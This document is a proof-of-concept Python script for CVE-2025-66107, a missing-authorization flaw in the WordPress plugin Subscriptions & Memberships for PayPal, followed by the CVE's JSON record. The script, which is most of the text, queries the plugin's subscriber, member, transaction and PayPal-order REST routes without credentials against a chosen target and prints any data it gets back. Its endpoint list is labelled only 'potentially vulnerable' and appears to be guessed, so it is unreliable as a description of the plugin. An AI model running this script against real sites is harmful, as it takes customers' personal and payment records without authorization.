CVE-2025-66107

# CVE-2025-66107 PoC - Missing Authorization in Subscriptions & Memberships for PayPal # Affected Plugin: subscriptions-memberships-for-paypal <= 1.1.7 import requests import sys TARGET_URL = "http://target-wordpress-site.com" # List of potentially vulnerable endpoints VULNERABLE_ENDPOINTS = [ "/wp-json/subscriptions-memberships/v1/subscribers", "/wp-json/subscriptions-memberships/v1/members", "/wp-json/subscriptions-memberships/v1/transactions", "/wp-json/subscriptions-memberships/v1/memberships", "/?rest_route=/subscriptions-memberships/v1/subscribers", "/?rest_route=/subscriptions-memberships/v1/members", "/?rest_route=/subscriptions-memberships/v1/paypal-orders" ] def check_vulnerability(): print("[*] Testing CVE-2025-66107 - Missing Authorization Vulnerability") print(f"[*] Target: {TARGET_URL}") print() for endpoint in VULNERABLE_ENDPOINTS: url = f"{TARGET_URL}{endpoint}" try: # No authentication headers - testing anonymous access response = requests.get(url, timeout=10) print(f"[Testing] {endpoint}") print(f" Status Code: {response.status_code}") # Check if we got unauthorized response or sensitive data if response.status_code == 200: content_type = response.headers.get('Content-Type', '') if 'application/json' in content_type: data = response.json() if data: print(f" [!] VULNERABLE - Received data without authentication") print(f" [Preview] {str(data)[:200]}...") return True elif response.status_code == 401 or response.status_code == 403: print(f" [+] Protected (Expected behavior)") else: print(f" [*] Unexpected status: {response.status_code}") print() except requests.exceptions.RequestException as e: print(f" [!] Error: {e}") print("[*] Test completed") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] check_vulnerability()

{"cve": {"id": "CVE-2025-66107", "sourceIdentifier": "[email protected]", "published": "2025-11-21T13:15:52.147", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Scott Paterson Subscriptions & Memberships for PayPal subscriptions-memberships-for-paypal allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Subscriptions & Memberships for PayPal: from n/a through <= 1.1.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/subscriptions-memberships-for-paypal/vulnerability/wordpress-subscriptions-memberships-for-paypal-plugin-1-1-7-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}